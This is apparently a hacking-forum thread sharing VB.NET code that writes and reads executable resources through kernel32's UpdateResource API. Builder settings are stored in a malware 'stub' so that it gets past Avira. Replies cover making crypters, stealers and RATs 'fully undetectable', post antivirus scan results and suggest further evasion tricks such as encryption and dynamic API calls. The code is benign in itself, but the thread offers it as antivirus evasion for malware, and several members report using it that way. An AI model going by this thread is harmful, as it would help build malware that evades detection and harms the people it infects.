But then how do I get the reader to split the string to each of the textboxes in the stub?
Could anyone give me a quick example?

Would doing something like this work <http://dotnetperls.com/split-examples-vbnet> , or are there any simpler methods?

oRc - July 1, 2010, 12:01 pm

(Jul 1, 2010 11:11 AM)xpaulx Wrote: [\[CITE\]](#) Hey I kindof get how this works , but if for example I have 3 textboxes in my builder , that I want to correspond with 3 textboxes in my stub.

for the writer , I would just convert each textbox.text to bytes , then do:

Code WriteResource("server.exe" , text1)
WriteResource("server.exe" , text2)
WriteResource("server.exe" , text3)
Then for the stub:
Code ReadResource("server.exe")and convert the bytes to a string.

But then how do I get the reader to split the string to each of the textboxes in the stub?
Could anyone give me a quick example?

Would doing something like this work <http://dotnetperls.com/split-examples-vbnet> , or are there any simpler methods?

something like

```
Dim NightWish as string = "OV%@K()VK$()@VHN%2nv"  
dim Omega = system.text.encoding.default.GetString(readresource(application.executablepath))  
dim spliter() as string = split(Omega, NightWish)
```

nightwish is filesplit but i use weird words.

pr3fix - July 1, 2010, 12:13 pm

(Jul 1, 2010 12:01 PM)oRc Wrote: [\[CITE\]](#) something like
Dim NightWish as string = "OV%@K()VK\$()@VHN%2nv"
dim Omega = system.text.encoding.default.GetString(readresource(application.executablepath))
dim spliter() as string = split(Omega, NightWish)

nightwish is filesplit but i use weird words.
I'm having troubles with this too.

Is that for reading or writing the resource?

oRc - July 1, 2010, 12:38 pm

(Jul 1, 2010 12:13 PM)pr3fix Wrote: [\[CITE\]](#) I'm having troubles with this too.

Is that for reading or writing the resource?
well it wouldn't say

```
dim Omega = system.text.encoding.default.GetString(readresource(application.executablepath))
```

if it was write resource

pr3fix - July 5, 2010, 7:56 pm

Problem solved, I was just too tired and didn't noticed that I didn't named resource. lol

Anyways, Thank you AEONHACK & Deathader!

Jolyan - July 6, 2010, 3:19 am

Very nice! wish i could come up whit sh*t like that!

yodatak - July 6, 2010, 4:21 am

Thanks a lot Deathader your aswesome ! Great Tuto

gangstagrilz - July 17, 2010, 1:45 am

Could someone please help me with this? I've added the code to my stub and builder. I'm not sure how to do "Get the builder to WRITE the settings to the server after it's written, then get the stub to read the resources, and parse out whatever" PM me plz

z3pt0seC - July 17, 2010, 2:27 am

Nice Deathader!

You are a great person and coder [!]

The Penguin - July 19, 2010, 9:34 am

Hey Death I Have Put Up A Thread And Someone Suggested I Should Just Ask You In Person, Heres The Link <https://hackforums.net/showthread.php?tid=552686>

I Would Really Appreciate Your Help And Feel Free To Pm Me If You Are Worried About Leechers, thanks

Ghostenigma - July 19, 2010, 9:44 am

Thanks death for this

With this we can bypass avira yeasly

Da Loser - July 25, 2010, 4:46 pm

(Jul 25, 2010 04:31 PM)Deathader Wrote: [\[CITE\]](#) Bumpi bumpin bumpin!

/toofrigginshort
it's detected.

Unfortunately. Thanks to zorataa's submission of this to a/v sites.

oRc - July 25, 2010, 4:51 pm

you are awesome, and your sources also.

oh i think i`ve find some trick(small one) here :huhu: awe course thanks to you. ps: i`m working on it.

Deathader - July 26, 2010, 1:00 am

(Jul 25, 2010 04:46 PM)nBlaiR Wrote: [\[CITE\]](#) it's detected.

Unfortunately. Thanks to zorataa's submission of this to a/v sites.
You're shitting me?

Well I know how to make it FUD again. :D

lexx13 - July 26, 2010, 1:06 am

(Jul 26, 2010 01:00 AM)Deathader Wrote: [\[CITE\]](#) You're shitting me?

Well I know how to make it FUD again. :D

You are right mate, he does. It is fud for so far. Triple checked yesterday.

Btw, thanks for great contribution to community. Really helped me get past avira and make my stuff better.

pr3fix - July 26, 2010, 1:12 am

(Jul 26, 2010 01:00 AM)Deathader Wrote: [\[CITE\]](#) You're shitting me?

Well I know how to make it FUD again. :D

Yea, it's pretty simple to FUD. All I did is changed one line, and boom. ?

[Epreuvez] - July 27, 2010, 3:25 am

Hmm.. Trying to modify and work on this but i keep getting a null error whenever I try to read the resource. Any ideas?

The error is on this line:

```
Marshal.Copy(x, bPtr, 0, CInt(size))
```

KingCobraXD - July 27, 2010, 4:02 am

(Jul 27, 2010 03:25 AM)[Epreuvez] Wrote: [\[CITE\]](#) Hmm.. Trying to modify and work on this but i keep getting a null error whenever I try to read the resource. Any ideas?

The error is on this line:

```
Marshal.Copy(x, bPtr, 0, CInt(size))
```

I think it's because u don't need it. it's like EOF. EOF usually are for rats but not keyloggers. so ur probably getting a null error because it doesn't require it. Make a check. Like this:

```
If resource = nothing then  
else  
'put resource to stub blah blah  
end if
```

[Epreuvez] - July 27, 2010, 11:41 pm

I figured out how come I'm getting the null error, that's because when I write to the stub, it comes up with a no entry point found error. No idea how to fix this though. I'll keep working on it.

m4st3r - August 8, 2010, 2:38 pm

Thanks for the share.

Will test this out later, i have a stub that's been detecting on avira, so will see if this fixes that issue. Thank you for the share mate.

H4?0R - August 9, 2010, 4:16 pm

Wow that's pretty cool man, I taught t0fx is the one who coded this cuz i saw for the first time on his source. this the same method that istealer uses.

i'll credit you when i use this buddy, thanks for sharing ^_^

Weakky. - August 24, 2010, 1:17 pm

i don't understand where we must put this code :/

```
System.Text.Encoding.Default.GetString("BYTES!")  
and  
System.Text.Encoding.Default.GetBytes("STRING!")
```

Can i have anyhelp please :/ ? Thanks a lot

Farmer John - August 31, 2010, 10:52 am

thanks for this.

but...

I have a problem with this, my stub is 100% fud but after crypt my server is detect by Avira...

Svens0n - August 31, 2010, 12:37 pm

(Aug 31, 2010 10:52 AM)Champizz Wrote: [\[CITE\]](#) thanks for this.

but...

I have a problem with this, my stub is 100% fud but after crypt my server is detect by Avira...

yeah ,you must change something....

more or less....read the thread ;)

DeadlyVermilion - August 31, 2010, 7:10 pm

(Jun 1, 2010 11:58 AM)Deathader Wrote: [\[CITE\]](#) Anything that uses updateResource will have those lines. It's a problem with the API :/

I'm pretty sure you can replace them with null bytes though.

It's not a problem with the API, Windows does it to keep the file alignment in-tact. Otherwise the PE header of the updated file would look wrong and would also cause the PE file to crash every time it is loaded.

Neroxan - August 31, 2010, 7:24 pm

(Aug 31, 2010 07:10 PM)DeadlyVermilion Wrote: [\[CITE\]](#) It's not a problem with the API, Windows does it to keep the file alignment in-tact. Otherwise the PE header of the updated file would look wrong and would also cause the PE file to crash every time it is loaded.

This is indeed very true.:)

You can get rid of the information after updating your resources by opening the file as a byte array, converting that array into a string and then using replace to swap the values for something else and rewrite the information to a new file.?

DeadlyVermilion - August 31, 2010, 7:30 pm

(Aug 31, 2010 07:24 PM)~WyldeChylde~ Wrote: [\[CITE\]](#) This is indeed very true.:)

You can get rid of the information after updating your resources by opening the file as a byte array, converting that array into a string and then using replace to swap the values for something else and rewrite the information to a new file.?

Yup ~WyldeChylde~ nailed it right there :P

Why you browsing the .net forum anyway? vb.net's a horrible language xD

JPhenom - September 1, 2010, 4:42 pm

Nice share, looks real interesting.

Neroxan - September 1, 2010, 5:55 pm

(Aug 31, 2010 07:30 PM)DeadlyVermilion Wrote: [\[CITE\]](#) Yup ~WyldeChylde~ nailed it right there :P
Why you browsing the .net forum anyway? vb.net's a horrible language xD
Because the admin's wont add a section for vb5/6 by itself and force us to use this section for the same?

DeadlyVermilion - September 1, 2010, 9:53 pm

(Sep 1, 2010 05:55 PM)~WyldeChylde~ Wrote: [\[CITE\]](#) Because the admin's wont add a section for vb5/6 by itself and force us to use this section for the same?
That's pretty true, I wish they did add a vb5/6 section. It would keep some of these nooby skid's out.
I hate how .net is all practically automated now, I bet most these people in this section don't even know what an API is :)

Deathader - September 3, 2010, 1:08 am

(Aug 31, 2010 07:30 PM)DeadlyVermilion Wrote: [\[CITE\]](#) Yup ~WyldeChylde~ nailed it right there :P
Why you browsing the .net forum anyway? vb.net's a horrible language xD
But let me guess, you think C# is fine? It compiles to something almost identical.

[img]http://knowyourmeme.com/i/000/065/059/original/tumblr_l6v4wsHnay1qd7pj1o1_400.gif?1281548464[/img]

DeadlyVermilion - September 4, 2010, 11:08 pm

I don't like any of the .Net languages.
Hence why I have never committed to learning them as much as I learn Delphi, MASM or C++.

HackForums needs a better set of categories for the coding section. VB5/VB6 the languages themselves I think are more powerful and portable than lets say VB.Net.

Neroxan - September 4, 2010, 11:28 pm

(Sep 4, 2010 11:08 PM)DeadlyVermilion Wrote: [\[CITE\]](#) I don't like any of the .Net languages.
Hence why I have never committed to learning them as much as I learn Delphi, MASM or C++.

HackForums needs a better set of categories for the coding section. VB5/VB6 the languages themselves I think are more powerful and portable than lets say VB.Net.

.Net has some power behind it actually man. Its the fact that most people dont attempt to push any boundaries or do anything new in it that makes it look so bad to anyone not used to using it themselves.

Im tired of seeing pissing contest on the boards over it myself really. A language isnt what limitates a program 90% of the time, its the coder whom is using it, their knowledge, and their drive which limits their applications.

Ive seen plenty of good things done here in .net posted by the users whom actually care to learn it instead of just using it to make their l33t crypters and such.

TickTack - September 13, 2010, 11:33 pm

(May 23, 2010 07:04 PM)zorataa Wrote: [\[CITE\]](#) still same error here death

stub
Dim usbspread As String

usbspread =

System.Text.Encoding.Default.GetString(ReadResource(Application.ExecutablePath))

builder

Dim name As String = TextBox3.Text

WriteResource(name & ".exe", System.Text.Encoding.Default.GetBytes(GoogleSplitter & usbspread))

do i miss GoogleSplitter & some where in the stub

I am still stuck here.

Code Dim FileAsByte As Byte() = ReadResource(Application.ExecutablePath)

Dim FileAsString = Encoding.Default.GetString(FileAsByte)

Dim Info() As String = Split(FileAsString,
A3E06K76DFKLSGLKSJDLGK489HFFDHEPzT37967EY)

Dim che547754548ck As Boolean = CheckBit.os.is64Bit

If che547754548ck = False Then

Try

Dim sdfhdsflkjhdsg0hdgs0h9sdg() As String = Split(Encoding.Default.GetString(FileAsByte),
A3E06K76DFKLSGLKSJDLGK489HFFDHEPzT37967EY)

Not sure what is wrong.

Can I get some help please?

ananui81 - October 13, 2010, 2:07 pm

Will try . hope it still works :)

tonig123 - October 15, 2010, 1:15 am

im really new to all of this stuff

how can this be used,,please pm somebody who knows how to use
thanx ;)

50GTB - October 15, 2010, 2:00 am

this doesn't work no more guys

jack1 - October 15, 2010, 3:40 am

its very helpful ,

many thanks

xartermate - November 6, 2010, 3:39 pm

great help?

been loking for something like this a while, worked on avira.

improved my output biinded file 4/16 to 3/16 and avira went out.

really good job will try work this a bit better to see i i can get the server 0/16.

rep to the man.

Cyber Coder - November 6, 2010, 4:03 pm

it is very hard without a example !

phoobos - November 18, 2010, 9:17 am

Thanks for the share. I appreciate it

GOD-GIFTED - November 19, 2010, 9:52 pm
Thanx death -Adder...ur Great/Legit

n0\$F3ratu\$ - November 19, 2010, 9:55 pm
This is working perfect if you at least try to understand. Oh and by the way. This is still FUD !!!

.bLaZeD - November 19, 2010, 9:59 pm
Some amazing shit you got here bro. Fantastic work.

bloodqman - November 22, 2010, 4:30 am
thanks..trying this one 2 :D

antigeek - December 7, 2010, 1:58 pm
(May 19, 2010 06:15 PM)Deathader Wrote: [\[CITE\]](#) You can use this to get past Avira!

Please credit me if used. I've been slaving over a hot pc for the last few hours trying to get this to work (there is almost no documentation or examples on this)

Write resources to exe:

Code Imports System.Runtime.InteropServices
Module ResourceWriter

```
Private Function ToPtr(ByVal data As Object) As IntPtr  
Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)  
Dim ptr As IntPtr  
Try  
ptr = h.AddrOfPinnedObject()  
Finally  
h.Free()  
End Try  
Return ptr
```

End Function

```
<DllImport("kernel32.dll", SetLastError:=True)> _  
Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal  
lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger)  
As Boolean  
End Function  
<DllImport("kernel32.dll", SetLastError:=True)> _  
Private Function BeginUpdateResource(ByVal pFileName As String,  
<MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr  
End Function  
<DllImport("kernel32.dll", SetLastError:=True)> _  
Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As  
Boolean  
End Function
```

Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean

```
Try  
Dim handle As IntPtr = BeginUpdateResource(filename, False)  
Dim file1 As Byte() = bytes  
Dim fileptr As IntPtr = ToPtr(file1)
```

```

    Dim res As Boolean = UpdateResource(handle, "RT_RCDATA", "0", 0, fileptr,
Convert.ToUInt32(file1.Length))
    EndUpdateResource(handle, False)
    Catch ex As Exception
    Return False
End Try
Return True

```

```
End Function
```

```
End Module
```

```
Read resources:
```

```
Code Imports System.Runtime.InteropServices
```

```
Module ResourceReader
```

```
<DllImport("kernel32.dll", SetLastError:=True)> _
```

```
Private Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType
As String) As IntPtr
End Function
```

```
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal
moduleName As String) As IntPtr
```

```
Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal
hResInfo As IntPtr) As Integer
```

```
Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal
hResInfo As IntPtr) As IntPtr
```

```
Public Function ReadResource(ByVal filename As String) As Byte()
Dim hModule As IntPtr = GetModuleHandle(filename)
Dim loc As IntPtr = FindResource(hModule, "0", "RT_RCDATA")
Dim x As IntPtr = LoadResource(hModule, loc)
Dim size = SizeofResource(hModule, loc)
Dim bPtr As Byte() = New Byte(size - 1) {}
Marshal.Copy(x, bPtr, 0, CInt(size))
Return bPtr
End Function
End Module
```

How can this bypass avira? Simple. Instead of writing data to the EOF, you are writing it to the exe's resources (can be viewed in ResHacker and similar programs)

How do I use it? Put the writer in the builder and the reader in the stub. Get the builder to WRITE the settings to the server after it's written, then get the stub to read the resources, and parse out whatever. You can use this to read the output (if you are using strings)

```
Code System.Text.Encoding.Default.GetString("BYTES!")
```

and to convert to byte array:

```
Code System.Text.Encoding.Default.GetBytes("STRING!")
```

Please credit me if used. Thanks.

Hello, I have a question. I'm trying to make my server FUD can you help me out on this?

Ghostenigma - December 7, 2010, 2:52 pm

(Nov 21, 2010 05:06 PM)NyC.xXBRONX.NyC Wrote: [\[CITE\]](#) Definitely not FUD no more great just when i use it :(still love you though death for your brilliancel am using deathader API and my crypter is fud

Blue Screen of Death - December 29, 2010, 12:05 pm

Thank you for this GREAT source! My stealer is finally FUD!

Black-Blood™ - January 10, 2011, 10:34 am

Code Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

It's detected ! Anyone know how to bypass it ? Call API by name and Dyn. API doesn't work :/

ziocane74 - March 12, 2011, 7:51 am

Hi,I would like to thank you for you code about Read Write Resource,but I can't figure out how to use it without a simple example...

could you please provide me of a small example of how to write a builder and the stub please?

Once I create the exe file containing the server and the stub,how can I bind the resource to it?

thank you if you will spend a moment to help me.

N3oNight - May 25, 2011, 2:24 am

Grate share mate..

Will have a look at it and give it a try...

felicixus - May 25, 2011, 7:02 am

WO!! Very useful! Thanks man =) I'll use this and give you credits =)

idb. - May 28, 2011, 6:57 pm

This is actually pretty fucking fantastic man. I looked into this a few times but never really got around to writing any code pertaining to it.

Aside from what people are going to use it for here on HF this could actually be an extremely useful piece of code. Off the top of my head I'm thinking you could make a REALLY great installation creator using this very code. I may put this to use (giving you full credit of course) in future applications.

Really nice work man. Sincerely.

felicixus - June 3, 2011, 8:44 am

The stub, with only reader code:

File Info

Report date: 2011-06-03.

Scan Occured: [\[img\]http://my-avscan.com/result_time.php?t=i&w=NTY3ODk=\[/img\]](http://my-avscan.com/result_time.php?t=i&w=NTY3ODk=[/img])

Link to scan: <http://my-avscan.com/result.php?scan=NTY3ODk=>

File name: rez.exe

File size: 15872 bytes

MD5 Hash: e01f214266d39660a4d02409c13e53ee

SHA1 Hash: 9aaaf088f5fc2bad0e03e0b57100083a1cb69e2b

Detection rate: 2 out of 33

Status: INFECTED

Detections

AVG - Clean.

Acavir - Clean.

Avast 5 -Clean.
Avast -Clean.
Avira -Clean.
BitDefender -Clean.
VirusBuster Internet Security -Clean.
Clam Antivirus -Clean.
COMODO Internet Security -Clean.
DrWeb -Clean.
eTrust-Vet -Clean.
F-PROT Antivirus -Clean.
F-Secure Internet Security -Clean.
G Data -Clean.
IKARUS Security-Trojan-Dropper.Small.
Kaspersky Antivirus -Clean.
McAfee -Clean.
MS Security Essentials -Clean.
ESET NOD32 -Clean.
Norman -Clean.
Norton -Clean.
Panda Security -Clean.
A-Squared Security -Trojan-Dropper.Small!!K.
Quick Heal Antivirus -Clean.
Rising Antivirus -Clean.
Solo Antivirus -Clean.
Sophos -Clean.
Trend Micro Internet Security -Clean.
VBA32 Antivirus -Clean.
Vexira Antivirus -Clean.
Webroot Internet Security -Clean.
Zoner AntiVirus -Clean.
AhnLab V3 Internet Security -Clean.

Scan report generated by
my-avscan.com

nofear1999 - June 3, 2011, 8:47 am
Old thread is old. Let it die.

Banks? - June 3, 2011, 9:33 am
(Jun 3, 2011 08:47 AM)nofear1999 Wrote: [\[CITE\]](#) Old thread is old. Let it die.
If the thread still has value, there is no point in letting it die.

nofear1999 - June 3, 2011, 9:48 am
The method is detected, so it has no value anymore.

Sikandar - June 3, 2011, 9:49 am
(Jun 3, 2011 09:48 AM)nofear1999 Wrote: [\[CITE\]](#) The method is detected, so it has no value anymore.
Method is not detected if certain actions are made.
?

nofear1999 - June 3, 2011, 11:33 am
Yes but the actual code in this thread is detected therefore useless unless if it's modified + it's about

a year old and he edited it and I was pretty sure posting in threads that over like a month or 2 months some shit like that was bannable.

DarkKoop - June 3, 2011, 12:26 pm

Maybe dynamic api calls+ encryption could help? Also, you could try to remanage this code a little bit. There's always a way how to do that ;)

mousillon - June 4, 2011, 3:02 pm

Nice sharing ! thanks for all mate

mousillon - June 4, 2011, 3:02 pm

Nice sharing ! thanks for all mate

dapu - June 7, 2011, 9:43 am

being honest i was doing this b4 reading, but i didnt knew it can bypass avira...?thanx a lot for telling..actually i got here searching for how to access resource of exe file...?

.CRz - June 19, 2011, 3:10 pm

(Jun 7, 2011 09:43 AM)dapu Wrote: [\[CITE\]](#) being honest i was doing this b4 reading, but i didnt knew it can bypass avira...?thanx a lot for telling..actually i got here searching for how to access resource of exe file...?

ofcourse it bypass avira, becuse that "persistant AV" detect's the method of storage, that is Base64, or EOF... well it dont detects it, just detects the lenght, if have more that x bytes then detected/suspecius, else it dont detect as suspecius... that's why the TRVDropper.Gen, it will be hard to explain but the "GEN" says all...

fasa123 - July 1, 2011, 11:57 am

this isnt ud anymore avira detects it even without any appended resource.
does someone knows another method?

i also tried using dynamic api calls and encrypted everything but didnt helped avira still detected it..

.CRz - July 1, 2011, 1:15 pm

(Jul 1, 2011 11:57 AM)fasa123 Wrote: [\[CITE\]](#) this isnt ud anymore avira detects it even without any appended resource.
does someone knows another method?

i also tried using dynamic api calls and encrypted everything but didnt helped avira still detected it..
build your own...

that's all :)

fasa123 - July 1, 2011, 2:07 pm

the problem is i dont know what method i should use.

i dont want code, i just want an info which types of adding informations to the stub exists which are ud by avira

.CRz - July 1, 2011, 2:54 pm

(Jul 1, 2011 02:07 PM)fasa123 Wrote: [\[CITE\]](#) the problem is i dont know what method i should use.
i dont want code, i just want an info which types of adding informations to the stub exists which are ud by avira

Quote:i dont want code, i just want an info which types of adding informations to the stub exists which are ud by avira

are you retarded???????????

fasa123 - July 1, 2011, 2:56 pm

lol? why should i?

i dont know another method of adding informations to the stub from a builder then eof and resources but both are detected by avira. i just want to know which type of adding informations isnt detected by avira..

.CRz - July 1, 2011, 3:11 pm

@ dispute closed... trooolll

felicixus - July 24, 2011, 1:28 am

(Jul 1, 2011 02:56 PM)fasa123 Wrote: [\[CITE\]](#) lol? why should i?

i dont know another method of adding informations to the stub from a builder then eof and resources but both are detected by avira. i just want to know which type of adding informations isnt detected by avira..

writing resource is not detected

you can:

1. put manually resource using visual studio feature adding an exe, or a txt containing your encrypted data(this will be FUD for something like the whole existing time of visual studio xD)

2. Write resource but using codedom. Something Like : Code

Parameters.EmbeddedResource.Add("C:\blabla\path\where\you\put\resource.res")3. Private method PM me xD

.CRz - July 24, 2011, 7:53 am

(Jul 24, 2011 01:28 AM)felicixus Wrote: [\[CITE\]](#) writing resource is not detected

you can:

1. put manually resource using visual studio feature adding an exe, or a txt containing your encrypted data(this will be FUD for something like the whole existing time of visual studio xD)

2. Write resource but using codedom. Something Like : Code

Parameters.EmbeddedResource.Add("C:\blabla\path\where\you\put\resource.res")3. Private method PM me xD

lol. private... ???

is not private. is just using the head xD

Szoki333 - July 24, 2011, 8:04 am

Where should I paste these codes? :S

.CRz - July 24, 2011, 8:07 am

(Jul 24, 2011 08:04 AM)Szoki333 Wrote: [\[CITE\]](#) Where should I paste these codes? :S

learn a little bit more.. then i think you dont even will ask that. ???

felicixus - July 24, 2011, 8:18 am

(Jul 24, 2011 07:53 AM)Cyber.CRz Wrote: [\[CITE\]](#) lol. private... ???

is not private. is just using the head xD

that's not what you think =)

PedroDJ - August 1, 2011, 4:44 am

Much usefull for me: thank you! ;)

Updated: this method is detected :P

Ghostenigma - August 1, 2011, 4:50 am

(Aug 1, 2011 04:44 AM)PedroDJ78 Wrote: [\[CITE\]](#) Much usefull for me: thank you! ;)

Updated: this method is detected :PNot it is not detected ?

Grieve™ - August 1, 2011, 4:51 am

(Aug 1, 2011 04:44 AM)PedroDJ78 Wrote: [\[CITE\]](#) Much usefull for me: thank you! ;)

Updated: this method is detected :P

With a little brainpower and thinking you can make it fud again easily.

AlienBytes - August 19, 2011, 7:42 am

nice share mate, thanks for the source of learning ;)

DazEErR. - September 22, 2013, 4:29 pm

Going to try this right NOW!!! great job!

idb. - September 23, 2013, 12:19 am

(Sep 22, 2013 04:29 PM)DazEErR. Wrote: [\[CITE\]](#) Going to try this right NOW!!! great job!
You should've tried it when it was first posted... over 3 years ago. Stop grave digging.

Nervo - September 23, 2013, 3:32 am

Edit: Some guy ed 3 years old thread, I didn't noticed that. Sorry.

Drug ballad - September 23, 2013, 9:45 am

Nice job man. im not gonna use it since i don't need it but still nice work!!

Lolvinnor - September 26, 2013, 10:49 am

3 year old thread anyway if you using this method in your executable file
then you cannot crypt with .net crypters that is bad :/

redOverf1ow - June 10, 2014, 7:21 pm

Nice post, very useful. Going to use this for a lot of things. ?